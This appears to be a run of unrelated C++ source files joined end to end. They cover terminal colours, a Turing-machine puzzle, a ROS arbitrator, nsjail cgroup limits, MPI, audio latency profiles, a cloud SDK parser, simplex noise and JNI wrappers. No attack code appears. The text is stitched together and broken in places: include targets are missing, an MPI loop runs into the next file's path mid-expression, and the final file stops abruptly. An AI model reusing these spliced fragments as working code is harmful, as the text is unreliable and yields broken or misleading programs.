http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "support/colors.h" #include #include namespace { bool colors_disabled = false; } // anonymous namespace void Colors::disable() { colors_disabled = true; } #if defined(__linux__) || defined(__APPLE__) #include void Colors::outputColorCode(std::ostream& stream, const char* colorCode) { const static bool has_color = []() { return (getenv("COLORS") && getenv("COLORS")[0] == '1') || // forced (isatty(STDOUT_FILENO) && (!getenv("COLORS") || getenv("COLORS")[0] != '0')); // implicit }(); if (has_color && !colors_disabled) stream << colorCode; } #elif defined(_WIN32) #include #include #include void Colors::outputColorCode(std::ostream&stream, const WORD &colorCode) { const static bool has_color = []() { return _isatty(_fileno(stdout)) && (!getenv("COLORS") || getenv("COLORS")[0] != '0'); // implicit }(); static HANDLE hStdout = GetStdHandle(STD_OUTPUT_HANDLE); static HANDLE hStderr = GetStdHandle(STD_ERROR_HANDLE); if (has_color && !colors_disabled) SetConsoleTextAttribute(&stream == &std::cout ? hStdout : hStderr, colorCode); } #endif #include #include const int MIDDLE = 12261543; using Tape = std::set; Tape tape; int main() { unsigned char state = 'A'; int pos = 0; for (int i = 0; i < MIDDLE; ++i) { auto it = tape.find(pos); switch (state) { // Begin in state A. // Perform a diagnostic checksum after 12261543 steps. case 'A': if (it == tape.end()) { tape.insert(pos); ++pos; state = 'B'; } else { tape.erase(pos); --pos; state = 'C'; } break; case 'B': if (it == tape.end()) { tape.insert(pos); --pos; state = 'A'; } else { tape.insert(pos); ++pos; state = 'C'; } break; case 'C': if (it == tape.end()) { tape.insert(pos); ++pos; state = 'A'; } else { tape.erase(pos); --pos; state = 'D'; } break; case 'D': if (it == tape.end()) { tape.insert(pos); --pos; state = 'E'; } else { tape.insert(pos); --pos; state = 'C'; } break; case 'E': if (it == tape.end()) { tape.insert(pos); ++pos; state = 'F'; } else { tape.insert(pos); ++pos; state = 'A'; } break; case 'F': if (it == tape.end()) { tape.insert(pos); ++pos; state = 'A'; } else { tape.insert(pos); ++pos; state = 'E'; } break; } } std::cout << tape.size() << "\n"; return 0; } arbitrator/src/arbitrator.cpp /* * Copyright (C) 2019-2020 LEIDOS. * * Licensed under the Apache License, Version 2.0 (the "License"); you may not * use this file except in compliance with the License. You may obtain a copy of * the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations under * the License. */ #include "arbitrator.hpp" #include #include #include "arbitrator_utils.hpp" #include #include #include namespace arbitrator { void Arbitrator::run() { ROS_INFO("Aribtrator started, beginning arbitrator state machine."); while (!ros::isShuttingDown()) { ros::spinOnce(); switch (sm_->get_state()) { case INITIAL: ROS_INFO("Aribtrator spinning in INITIAL state."); initial_state(); break; case PLANNING: ROS_INFO("Aribtrator spinning in PLANNING state."); planning_state(); break; case WAITING: ROS_INFO("Aribtrator spinning in WAITING state."); waiting_state(); break; case PAUSED: ROS_INFO("Aribtrator spinning in PAUSED state."); paused_state(); break; case SHUTDOWN: ROS_INFO("Arbitrator shutting down after being commanded to shutdown!"); ros::shutdown(); exit(0); break; default: throw std::invalid_argument("State machine attempting to process an illegal state value"); } } } void Arbitrator::guidance_state_cb(const cav_msgs::GuidanceState::ConstPtr& msg) { switch (msg->state) { case cav_msgs::GuidanceState::STARTUP: // NO-OP break; case cav_msgs::GuidanceState::DRIVERS_READY: if(sm_->get_state() == ArbitratorState::PLANNING || sm_->get_state() == ArbitratorState::WAITING) { ROS_INFO("Received notice that guidance has been restarted, pausing arbitrator."); sm_->submit_event(ArbitratorEvent::ARBITRATOR_PAUSED); } break; case cav_msgs::GuidanceState::ACTIVE: // NO-OP break; case cav_msgs::GuidanceState::ENGAGED: ROS_INFO("Received notice that guidance has been engaged!"); if (sm_->get_state() == ArbitratorState::INITIAL) { sm_->submit_event(ArbitratorEvent::SYSTEM_STARTUP_COMPLETE); } else if (sm_->get_state() == ArbitratorState::PAUSED) { sm_->submit_event(ArbitratorEvent::ARBITRATOR_RESUMED); } break; case cav_msgs::GuidanceState::INACTIVE: ROS_INFO("Received notice that guidance has been disengaged, pausing arbitrator."); sm_->submit_event(ArbitratorEvent::ARBITRATOR_PAUSED); break; case cav_msgs::GuidanceState::SHUTDOWN: ROS_INFO("Received notice that guidance has been shutdown, shutting down arbitrator."); sm_->submit_event(ArbitratorEvent::SYSTEM_SHUTDOWN_INITIATED); break; default: break; } } void Arbitrator::initial_state() { if(!initialized_) { ROS_INFO("Arbitrator initializing on first initial state spin..."); final_plan_pub_ = nh_->advertise("final_maneuver_plan", 5); guidance_state_sub_ = nh_->subscribe("guidance_state", 5, &Arbitrator::guidance_state_cb, this); initialized_ = true; // TODO: load plan duration from parameters file } ros::Duration(0.1).sleep(); } void Arbitrator::planning_state() { ROS_INFO("Aribtrator beginning planning process!"); ros::Time planning_process_start = ros::Time::now(); cav_msgs::ManeuverPlan plan = planning_strategy_.generate_plan(); if (!plan.maneuvers.empty()) { ros::Time plan_end_time = arbitrator_utils::get_plan_end_time(plan); ros::Time plan_start_time = arbitrator_utils::get_plan_start_time(plan); ros::Duration plan_duration = plan_end_time - plan_start_time; if (plan_duration < min_plan_duration_) { ROS_WARN_STREAM("Arbitrator is unable to generate a plan with minimum plan duration requirement!"); } else { ROS_INFO_STREAM("Arbitrator is publishing plan " << plan.maneuver_plan_id << " of duration " << plan_duration << " as current maneuver plan"); } final_plan_pub_.publish(plan); } else { ROS_WARN("Arbitrator was unable to generate a plan!"); } next_planning_process_start_ = planning_process_start + time_between_plans_; sm_->submit_event(ArbitratorEvent::PLANNING_COMPLETE); } void Arbitrator::waiting_state() { // Sleep in 100ms increments until our next planning cycle // This ensures we spin() at least a few times while (ros::Time::now() < next_planning_process_start_) { ros::Duration(0.1).sleep(); } ROS_INFO("Arbitrator transitioning from WAITING to PLANNING state."); sm_->submit_event(ArbitratorEvent::PLANNING_TIMER_TRIGGER); } void Arbitrator::paused_state() { ros::Duration(0.1).sleep(); } void Arbitrator::shutdown_state() { ROS_INFO_STREAM("Arbitrator shutting down..."); ros::shutdown(); // Will stop upper level spin and shutdown node } }; /* nsjail - cgroup namespacing ----------------------------------------- Copyright 2014 Google Inc. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ #include "cgroup.h" #include #include #include #include #include #include #include #include #include #include #include "logs.h" #include "util.h" namespace cgroup { static bool createCgroup(const std::string& cgroup_path, pid_t pid) { LOG_D("Create '%s' for pid=%d", cgroup_path.c_str(), (int)pid); if (mkdir(cgroup_path.c_str(), 0700) == -1 && errno != EEXIST) { PLOG_W("mkdir('%s', 0700) failed", cgroup_path.c_str()); return false; } return true; } static bool writeToCgroup( const std::string& cgroup_path, const std::string& value, const std::string& what) { LOG_D("Setting '%s' to '%s'", cgroup_path.c_str(), value.c_str()); if (!util::writeBufToFile( cgroup_path.c_str(), value.c_str(), value.length(), O_WRONLY | O_CLOEXEC)) { LOG_W("Could not update %s", what.c_str()); return false; } return true; } static bool addPidToTaskList(const std::string& cgroup_path, pid_t pid) { std::string pid_str = std::to_string(pid); std::string tasks_path = cgroup_path + "/tasks"; LOG_D("Adding pid='%s' to '%s'", pid_str.c_str(), tasks_path.c_str()); return writeToCgroup(tasks_path, pid_str, "'" + tasks_path + "' task list"); } static bool initNsFromParentMem(nsjconf_t* nsjconf, pid_t pid) { if (nsjconf->cgroup_mem_max == (size_t)0) { return true; } std::string mem_cgroup_path = nsjconf->cgroup_mem_mount + '/' + nsjconf->cgroup_mem_parent + "/NSJAIL." + std::to_string(pid); RETURN_ON_FAILURE(createCgroup(mem_cgroup_path, pid)); std::string mem_max_str = std::to_string(nsjconf->cgroup_mem_max); RETURN_ON_FAILURE(writeToCgroup( mem_cgroup_path + "/memory.limit_in_bytes", mem_max_str, "memory cgroup max limit")); /* * Use OOM-killer instead of making processes hang/sleep */ RETURN_ON_FAILURE(writeToCgroup( mem_cgroup_path + "/memory.oom_control", "0", "memory cgroup oom control")); /* * Force swap to be disabled so that the process is also killed as long as it reaches limit * https://github.com/NeoHOJ/nsjail */ RETURN_ON_FAILURE(writeToCgroup( mem_cgroup_path + "/memory.swappiness", "0", "memory cgroup swappiness")); return addPidToTaskList(mem_cgroup_path, pid); } static bool initNsFromParentPids(nsjconf_t* nsjconf, pid_t pid) { if (nsjconf->cgroup_pids_max == 0U) { return true; } std::string pids_cgroup_path = nsjconf->cgroup_pids_mount + '/' + nsjconf->cgroup_pids_parent + "/NSJAIL." + std::to_string(pid); RETURN_ON_FAILURE(createCgroup(pids_cgroup_path, pid)); std::string pids_max_str = std::to_string(nsjconf->cgroup_pids_max); RETURN_ON_FAILURE( writeToCgroup(pids_cgroup_path + "/pids.max", pids_max_str, "pids cgroup max limit")); return addPidToTaskList(pids_cgroup_path, pid); } static bool initNsFromParentNetCls(nsjconf_t* nsjconf, pid_t pid) { if (nsjconf->cgroup_net_cls_classid == 0U) { return true; } std::string net_cls_cgroup_path = nsjconf->cgroup_net_cls_mount + '/' + nsjconf->cgroup_net_cls_parent + "/NSJAIL." + std::to_string(pid); RETURN_ON_FAILURE(createCgroup(net_cls_cgroup_path, pid)); std::string net_cls_classid_str; { std::stringstream ss; ss << "0x" << std::hex << nsjconf->cgroup_net_cls_classid; net_cls_classid_str = ss.str(); } RETURN_ON_FAILURE(writeToCgroup(net_cls_cgroup_path + "/net_cls.classid", net_cls_classid_str, "net_cls cgroup classid")); return addPidToTaskList(net_cls_cgroup_path, pid); } static bool initNsFromParentCpu(nsjconf_t* nsjconf, pid_t pid) { if (nsjconf->cgroup_cpu_ms_per_sec == 0U) { return true; } std::string cpu_cgroup_path = nsjconf->cgroup_cpu_mount + '/' + nsjconf->cgroup_cpu_parent + "/NSJAIL." + std::to_string(pid); RETURN_ON_FAILURE(createCgroup(cpu_cgroup_path, pid)); std::string cpu_ms_per_sec_str = std::to_string(nsjconf->cgroup_cpu_ms_per_sec * 1000U); RETURN_ON_FAILURE( writeToCgroup(cpu_cgroup_path + "/cpu.cfs_quota_us", cpu_ms_per_sec_str, "cpu quota")); RETURN_ON_FAILURE( writeToCgroup(cpu_cgroup_path + "/cpu.cfs_period_us", "1000000", "cpu period")); return addPidToTaskList(cpu_cgroup_path, pid); } bool initNsFromParent(nsjconf_t* nsjconf, pid_t pid) { RETURN_ON_FAILURE(initNsFromParentMem(nsjconf, pid)); RETURN_ON_FAILURE(initNsFromParentPids(nsjconf, pid)); RETURN_ON_FAILURE(initNsFromParentNetCls(nsjconf, pid)); return initNsFromParentCpu(nsjconf, pid); } static void removeCgroup(const std::string& cgroup_path) { LOG_D("Remove '%s'", cgroup_path.c_str()); if (rmdir(cgroup_path.c_str()) == -1) { PLOG_W("rmdir('%s') failed", cgroup_path.c_str()); } } void recordUsage(std::string readFrom, long long *store) { char recvBuf[1024]; ssize_t len = util::readFromFile(readFrom.c_str(), recvBuf, 1023); if (len != -1) { recvBuf[len] = 0; if (sscanf(recvBuf, "%lld", store) != 1) { LOG_W("Read usage of %s unsuccessful, found %s", readFrom.c_str(), recvBuf); } } } void finishFromParent(nsjconf_t* nsjconf, pid_t pid) { if (nsjconf->cgroup_mem_max != (size_t)0) { std::string mem_cgroup_path = nsjconf->cgroup_mem_mount + '/' + nsjconf->cgroup_mem_parent + "/NSJAIL." + std::to_string(pid); /* record memory consumption */ recordUsage(mem_cgroup_path + "/memory.max_usage_in_bytes", &(nsjconf->memory_consumption)); removeCgroup(mem_cgroup_path); } if (nsjconf->cgroup_pids_max != 0U) { std::string pids_cgroup_path = nsjconf->cgroup_pids_mount + '/' + nsjconf->cgroup_pids_parent + "/NSJAIL." + std::to_string(pid); removeCgroup(pids_cgroup_path); } if (nsjconf->cgroup_net_cls_classid != 0U) { std::string net_cls_cgroup_path = nsjconf->cgroup_net_cls_mount + '/' + nsjconf->cgroup_net_cls_parent + "/NSJAIL." + std::to_string(pid); removeCgroup(net_cls_cgroup_path); } if (nsjconf->cgroup_cpu_ms_per_sec != 0U) { std::string cpu_cgroup_path = nsjconf->cgroup_cpu_mount + '/' + nsjconf->cgroup_cpu_parent + "/NSJAIL." + std::to_string(pid); /* record time consumption */ recordUsage(cpu_cgroup_path + "/cpuacct.usage_user", &(nsjconf->user_time_consumption)); recordUsage(cpu_cgroup_path + "/cpuacct.usage_sys", &(nsjconf->kernel_time_consumption)); removeCgroup(cpu_cgroup_path); } } bool initNs(void) { return true; } } // namespace cgroup myoukaku/bksge /** * @file copy.hpp * * @brief copy の実装 * * @author myoukaku */ #ifndef BKSGE_FND_ALGORITHM_DETAIL_COPY_HPP #define BKSGE_FND_ALGORITHM_DETAIL_COPY_HPP //#include //#include //#include //#include //#include #include //#include //#include // memmove namespace bksge { namespace detail { template inline BKSGE_CXX14_CONSTEXPR OutputIterator copy(InputIterator first, InputIterator last, OutputIterator result) { while (first != last) { *result++ = *first++; } return result; } #if 0 template inline BKSGE_CXX14_CONSTEXPR bksge::enable_if_t< bksge::is_same, U>::value && bksge::is_trivially_copy_assignable::value, U* > copy(T* first, T* last, U* result) { auto const n = static_cast(last - first); if (n > 0) { std::memmove(result, first, n * sizeof(U)); } return result + n; } #endif template inline BKSGE_CXX14_CONSTEXPR OutputIterator copy( InputIterator first, InputIterator last, OutputIterator result_first, OutputIterator result_last) { while (first != last && result_first != result_last) { *result_first++ = *first++; } return result_first; } #if 0 template inline BKSGE_CXX14_CONSTEXPR bksge::enable_if_t< bksge::is_same, U>::value && bksge::is_trivially_copy_assignable::value, U* > copy(T* first, T* last, U* result_first, U* result_last) { auto const n = bksge::min( static_cast(last - first), static_cast(result_last - result_first)); if (n > 0) { std::memmove(result_first, first, n * sizeof(U)); } return result_first + n; } #endif } // namespace detail } // namespace bksge #endif // BKSGE_FND_ALGORITHM_DETAIL_COPY_HPP 0 #include #include #include #include int main(int argc, char** argv) { const int randseed = 1337; // Initialize the MPI environment int mpi_provided_thread_level = 0; MPI_Init_thread(&argc, &argv, MPI_THREAD_SINGLE, &mpi_provided_thread_level); assert(MPI_THREAD_SINGLE <= mpi_provided_thread_level); // Get the number of processes int world_rank, world_size; MPI_Comm_size(MPI_COMM_WORLD, &world_size); MPI_Comm_rank(MPI_COMM_WORLD, &world_rank); srand(randseed+world_rank); // Get the name of the processor char processor_name[MPI_MAX_PROCESSOR_NAME]; int name_len; MPI_Get_processor_name(processor_name, &name_len); // Print off a hello world message printf("Hello world from processor %s, rank %d out of %d processors\n", processor_name, world_rank, world_size); MPI_Comm star_graph; MPI_Info unused_info; int star_create_result=0; MPI_Info_create(&unused_info); if(0 == world_rank){ int *destinations = (int*)malloc((world_size)*sizeof(int)); for(int i = 0;iShared-Items/DacLatencyProfiles.cpp1-10 #include "DacLatencyProfiles.h" DacLatencyProfile DacLatencyProfiles::CV121AD_ARC; DacLatencyProfile DacLatencyProfiles::CV121AD_SPDIF_COAX; DacLatencyProfile DacLatencyProfiles::CV121AD_SPDIF_OPTICAL; DacLatencyProfile DacLatencyProfiles::SHARCV1_EARC; DacLatencyProfile DacLatencyProfiles::None; std::vector DacLatencyProfiles::Profiles; int DacLatencyProfiles::SelectedProfileIndex = 0; void DacLatencyProfiles::InitializeProfiles() { CV121AD_ARC.Name = "CV121AD: ARC Input"; CV121AD_ARC.Latency = 0.123; // 2 channel 48 kHz 16 bit. For other formats, this could be off by up to 0.1 ms. CV121AD_ARC.InputType = DacLatencyProfile::DacInputType::ARC; Profiles.push_back(&CV121AD_ARC); CV121AD_SPDIF_COAX.Name = "CV121AD: S/PDIF Coax Input"; CV121AD_SPDIF_COAX.Latency = 0.118; // 2 channel 48 kHz 16 bit. For other formats, this could be off by up to 0.1 ms. CV121AD_SPDIF_COAX.InputType = DacLatencyProfile::DacInputType::SPDIF_Coax; Profiles.push_back(&CV121AD_SPDIF_COAX); CV121AD_SPDIF_OPTICAL.Name = "CV121AD: S/PDIF Optical Input"; CV121AD_SPDIF_OPTICAL.Latency = 0.118; // 2 channel 48 kHz 16 bit. For other formats, this could be off by up to 0.1 ms. CV121AD_SPDIF_OPTICAL.InputType = DacLatencyProfile::DacInputType::SPDIF_Optical; Profiles.push_back(&CV121AD_SPDIF_OPTICAL); SHARCV1_EARC.Name = "SHARK v1: eARC Input"; SHARCV1_EARC.Latency = 0; SHARCV1_EARC.InputType = DacLatencyProfile::DacInputType::eARC; Profiles.push_back(&SHARCV1_EARC); None.Name = "Other"; None.Latency = 0; None.InputType = DacLatencyProfile::DacInputType::Unknown; None.isNoLatency = true; Profiles.push_back(&None); } DacLatencyProfile* DacLatencyProfiles::CurrentProfile() { return Profiles[SelectedProfileIndex]; }aliyun/aliyun-openapi-cpp-sdkedas/src/model/GetSpringCloudTestMethodResult.cc /* * Copyright 2009-2017 Alibaba Cloud All rights reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include #include using namespace AlibabaCloud::Edas; using namespace AlibabaCloud::Edas::Model; GetSpringCloudTestMethodResult::GetSpringCloudTestMethodResult() : ServiceResult() {} GetSpringCloudTestMethodResult::GetSpringCloudTestMethodResult(const std::string &payload) : ServiceResult() { parse(payload); } GetSpringCloudTestMethodResult::~GetSpringCloudTestMethodResult() {} void GetSpringCloudTestMethodResult::parse(const std::string &payload) { Json::Reader reader; Json::Value value; reader.parse(payload, value); setRequestId(value["RequestId"].asString()); auto dataNode = value["Data"]; if(!dataNode["Path"].isNull()) data_.path = dataNode["Path"].asString(); if(!dataNode["HttpHeaders"].isNull()) data_.httpHeaders = dataNode["HttpHeaders"].asString(); if(!dataNode["Params"].isNull()) data_.params = dataNode["Params"].asString(); auto allRequestMethods = dataNode["RequestMethods"]["RequestMethod"]; for (auto value : allRequestMethods) data_.requestMethods.push_back(value.asString()); auto allUrls = dataNode["Urls"]["Url"]; for (auto value : allUrls) data_.urls.push_back(value.asString()); if(!value["Code"].isNull()) code_ = std::stoi(value["Code"].asString()); if(!value["Message"].isNull()) message_ = value["Message"].asString(); if(!value["Success"].isNull()) success_ = value["Success"].asString() == "true"; } std::string GetSpringCloudTestMethodResult::getMessage()const { return message_; } GetSpringCloudTestMethodResult::Data GetSpringCloudTestMethodResult::getData()const { return data_; } int GetSpringCloudTestMethodResult::getCode()const { return code_; } bool GetSpringCloudTestMethodResult::getSuccess()const { return success_; } 0 /* Copyright 2017 kunming.xie * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "gtest/gtest.h" #include "item27/item27.h" #include #include TEST(EFFECTIVE_CXX, ITEM27) { SpecialWindows windows; ASSERT_EQ(windows.getCount(), 1); windows.onResize(); ASSERT_EQ(windows.getCount(), 2); ASSERT_EQ(windows.getCount2(), 1); windows.onResizeWrongWay(); ASSERT_EQ(windows.getCount2(), 1); } typedef std::vector > windowsVector; TEST(EFFECTIVE_CXX, ITEM27_2) { windowsVector vector; std::tr1::shared_ptr windows(new SpecialWindows); vector.push_back(windows); for (windowsVector::iterator iter = vector.begin(); iter != vector.end(); ++iter) { if (SpecialWindows *windows = dynamic_cast(iter->get())) { windows->blink(); } } }/* * ========================= simplexNoise.cpp ========================== * -- tpr -- * CREATE -- 2019.04.02 * MODIFY -- * ---------------------------------------------------------- * glsl版 simplex-noise, 移植到 cpu上 * ---------------------------- */ #include "simplexNoise.h" #include "pch.h" /* =========================================================== * prepare funcs... * ----------------------------------------------------------- */ glm::dvec2 mod289V2(const glm::dvec2& vec_) { glm::dvec2 tmpv{ floor(vec_.x / 289.0), floor(vec_.y / 289.0) }; tmpv *= 289.0; return vec_ - tmpv; } glm::dvec3 mod289V3(const glm::dvec3& vec_) { glm::dvec3 tmpv{ floor(vec_.x / 289.0), floor(vec_.y / 289.0), floor(vec_.z / 289.0) }; tmpv *= 289.0; return vec_ - tmpv; } glm::dvec4 mod289V4(const glm::dvec4& vec_) { glm::dvec4 tmpv{ floor(vec_.x / 289.0), floor(vec_.y / 289.0), floor(vec_.z / 289.0), floor(vec_.w / 289.0) }; tmpv *= 289.0; return vec_ - tmpv; } glm::dvec3 permuteV3(const glm::dvec3& vec_) { return mod289V3(glm::dvec3{ ((vec_.x * 34.0) + 1.0) * vec_.x, ((vec_.y * 34.0) + 1.0) * vec_.y, ((vec_.z * 34.0) + 1.0) * vec_.z }); } glm::dvec4 permuteV4(const glm::dvec4& vec_) { return mod289V4(glm::dvec4{ ((vec_.x * 34.0) + 1.0) * vec_.x, ((vec_.y * 34.0) + 1.0) * vec_.y, ((vec_.z * 34.0) + 1.0) * vec_.z, ((vec_.w * 34.0) + 1.0) * vec_.w }); } glm::dvec4 taylorInvSqrtV4(const glm::dvec4& vec_) { return glm::dvec4{ 1.79284291400159 - 0.85373472095314 * vec_.x, 1.79284291400159 - 0.85373472095314 * vec_.y, 1.79284291400159 - 0.85373472095314 * vec_.z, 1.79284291400159 - 0.85373472095314 * vec_.w }; } double dotV2(double ax_, double ay_, double bx_, double by_) { return (ax_ * bx_ + ay_ * by_); } // to mask the "max" macro in minwindef.h //#undef max /* =========================================================== * simplex_noise2 * ----------------------------------------------------------- * 和 glsl 中 同名函数,内容完全一致 * return [-1.0, 1.0] */ double simplex_noise2(double x_, double y_) { return simplex_noise2(glm::dvec2{ x_, y_ }); } double simplex_noise2(const glm::dvec2& v_) { constexpr glm::dvec4 C{ 0.211324865405187, // (3.0-sqrt(3.0))/6.0 0.366025403784439, // 0.5*(sqrt(3.0)-1.0) -0.577350269189626, // -1.0 + 2.0 * C.x 0.024390243902439 }; // 1.0 / 41.0 // First corner glm::dvec2 i = glm::floor(v_ + dotV2(v_.x, v_.y, C.y, C.y)); glm::dvec2 x0 = v_ - i + dotV2(i.x, i.y, C.x, C.x); // Other corners glm::dvec2 i1{}; //i1.x = step( x0.y, x0.x ); // x0.x > x0.y ? 1.0 : 0.0 //i1.y = 1.0 - i1.x; (x0.x > x0.y) ? i1 = glm::dvec2(1.0, 0.0) : i1 = glm::dvec2(0.0, 1.0); // x0 = x0 - 0.0 + 0.0 * C.xx ; // x1 = x0 - i1 + 1.0 * C.xx ; // x2 = x0 - 1.0 + 2.0 * C.xx ; glm::dvec4 x12{ x0.x + C.x - i1.x, x0.y + C.x - i1.y, x0.x + C.z, x0.y + C.z }; // Permutations i = mod289V2(i); // Avoid truncation effects in permutation glm::dvec3 p = permuteV3(glm::dvec3{ i.y + 0.0, i.y + i1.y, i.y + 1.0 }); p = permuteV3(glm::dvec3{ p.x + i.x + 0.0, p.y + i.x + i1.x, p.z + i.x + 1.0 }); glm::dvec3 max_1{ 0.5 - dotV2(x0.x, x0.y, x0.x, x0.y), 0.5 - dotV2(x12.x, x12.y, x12.x, x12.y), 0.5 - dotV2(x12.z, x12.w, x12.z, x12.w) }; constexpr glm::dvec3 max_2{ 0.0, 0.0, 0.0 }; // wrap the function in parenthesis // to mask the "max" macro in minwindef.h glm::dvec3 m = (glm::max)(max_1, max_2); m *= m; m *= m; // Gradients: 41 points uniformly over a line, mapped onto a diamond. // The ring size 17*17 = 289 is close to a multiple of 41 (41*7 = 287) glm::dvec3 x = glm::fract(glm::dvec3{ p.x * C.w, p.y * C.w, p.z * C.w }); x.x = 2.0 * x.x - 1.0; x.y = 2.0 * x.y - 1.0; x.z = 2.0 * x.z - 1.0; glm::dvec3 h{ std::abs(x.x) - 0.5, std::abs(x.y) - 0.5, std::abs(x.z) - 0.5 }; glm::dvec3 ox{ floor(x.x + 0.5), floor(x.y + 0.5), floor(x.z + 0.5) }; glm::dvec3 a0 = x - ox; // Normalise gradients implicitly by scaling m // Approximation of: m *= inversesqrt( a0*a0 + h*h ); glm::dvec3 tmpV = a0 * a0 + h * h; m.x *= 1.79284291400159 - 0.85373472095314 * tmpV.x; m.y *= 1.79284291400159 - 0.85373472095314 * tmpV.y; m.z *= 1.79284291400159 - 0.85373472095314 * tmpV.z; // Compute final noise value at P glm::dvec3 g{}; g.x = a0.x * x0.x + h.x * x0.y; g.y = a0.y * x12.x + h.y * x12.y; g.z = a0.z * x12.z + h.z * x12.w; return static_cast(130.0 * glm::dot(m, g)); } YJBeetle/QtAndroidAPIandroid-31/java/util/concurrent/ScheduledThreadPoolExecutor.cpp10-100 #include "../../../JObject.hpp" #include "./TimeUnit.hpp" #include "./atomic/AtomicLong.hpp" #include "./ScheduledThreadPoolExecutor.hpp" namespace java::util::concurrent { // Fields // QJniObject forward ScheduledThreadPoolExecutor::ScheduledThreadPoolExecutor(QJniObject obj) : java::util::concurrent::ThreadPoolExecutor(obj) {} // Constructors ScheduledThreadPoolExecutor::ScheduledThreadPoolExecutor(jint arg0) : java::util::concurrent::ThreadPoolExecutor( "java.util.concurrent.ScheduledThreadPoolExecutor", "(I)V", arg0 ) {} ScheduledThreadPoolExecutor::ScheduledThreadPoolExecutor(jint arg0, JObject arg1) : java::util::concurrent::ThreadPoolExecutor( "java.util.concurrent.ScheduledThreadPoolExecutor", "(ILjava/util/concurrent/RejectedExecutionHandler;)V", arg0, arg1.object() ) {} ScheduledThreadPoolExecutor::ScheduledThreadPoolExecutor(jint arg0, JObject arg1, JObject arg2) : java::util::concurrent::ThreadPoolExecutor( "java.util.concurrent.ScheduledThreadPoolExecutor", "(ILjava/util/concurrent/ThreadFactory;Ljava/util/concurrent/RejectedExecutionHandler;)V", arg0, arg1.object(), arg2.object() ) {} // Methods void ScheduledThreadPoolExecutor::execute(JObject arg0) const { callMethod( "execute", "(Ljava/lang/Runnable;)V", arg0.object() ); } jboolean ScheduledThreadPoolExecutor::getContinueExistingPeriodicTasksAfterShutdownPolicy() const { return callMethod( "getContinueExistingPeriodicTasksAfterShutdownPolicy", "()Z" ); } jboolean ScheduledThreadPoolExecutor::getExecuteExistingDelayedTasksAfterShutdownPolicy() const { return callMethod( "getExecuteExistingDelayedTasksAfterShutdownPolicy", "()Z" ); } JObject ScheduledThreadPoolExecutor::getQueue() const { return callObjectMethod( "getQueue", "()Ljava/util/concurrent/BlockingQueue;" ); } jboolean ScheduledThreadPoolExecutor::getRemoveOnCancelPolicy() const { return callMethod( "getRemoveOnCancelPolicy", "()Z" ); } JObject ScheduledThreadPoolExecutor::schedule(JObject arg0, jlong arg1, java::util::concurrent::TimeUnit arg2) const { return callObjectMethod( "schedule", "(Ljava/lang/Runnable;JLjava/util/concurrent/TimeUnit;)Ljava/util/concurrent/ScheduledFuture;", arg0.object(), arg1, arg2.object() ); } JObject ScheduledThreadPoolExecutor::scheduleAtFixedRate(JObject arg0, jlong arg1, jlong arg2, java::util::concurrent::TimeUnit arg3) const { return callObjectMethod( "scheduleAtFixedRate", "(Ljava/lang/Runnable;JJLjava/util/concurrent/TimeUnit;)Ljava/util/concurrent/ScheduledFuture;", arg0.object(), arg1, arg2, arg3.object() ); } JObject ScheduledThreadPoolExecutor::scheduleWithFixedDelay(JObject arg0, jlong arg1, jlong arg2, java::util::concurrent::TimeUnit arg3) const { return callObjectMethod( "scheduleWithFixedDelay", "(Ljava/lang/Runnable;JJLjava/util/concurrent/TimeUnit;)Ljava/util/concurrent/ScheduledFuture;", arg0.object(), arg1, arg2, arg3.object() ); } void ScheduledThreadPoolExecutor::setContinueExistingPeriodicTasksAfterShutdownPolicy(jboolean arg0) const { callMethod( "setContinueExistingPeriodicTasksAfterShutdownPolicy", "(Z)V", arg0 ); } void ScheduledThreadPoolExecutor::setExecuteExistingDelayedTasksAfterShutdownPolicy(jboolean arg0) const { callMethod( "setExecuteExistingDelayedTasksAfterShutdownPolicy", "(Z)V", arg0 ); } void ScheduledThreadPoolExecutor::setRemoveOnCancelPolicy(jboolean arg0) const { callMethod( "setRemoveOnCancelPolicy", "(Z)V", arg0 ); } void ScheduledThreadPoolExecutor::shutdown() const { callMethod( "shutdown", "()V" ); } JObject ScheduledThreadPoolExecutor::shutdownNow() const { return callObjectMethod( "shutdownNow", "()Ljava/util/List;" ); } JObject ScheduledThreadPoolExecutor::submit(JObject arg0) const { return callObjectMethod( "submit", "(Ljava/lang/Runnable;)Ljava/util/concurrent/Future;", arg0.object() ); } JObject ScheduledThreadPoolExecutor::submit(JObject arg0, JObject arg1) const { return callObjectMethod( "submit", "(Ljava/lang/Runnable;Ljava/lang/Object;)Ljava/util/concurrent/Future;", arg0.object(), arg1.object() ); } } // namespace java::util::concurrent kd-boss/CAT // generated by Fast Light User Interface Designer (fluid) version 1.0307 #include "FT891.h" #include #include using namespace boost; using namespace std; using namespace asio; using namespace Yaesu::FT891::Commands; using namespace std::placeholders; using namespace boost; std::string dummydata = "aslkdfk;"; void OnSaveMemory(Fl_Button* o, void* v) { ((FT891*)v)->SaveMemoryChannels(); } void FT891::SaveMemoryChannels() { m_channels = m_editor->m_channels; 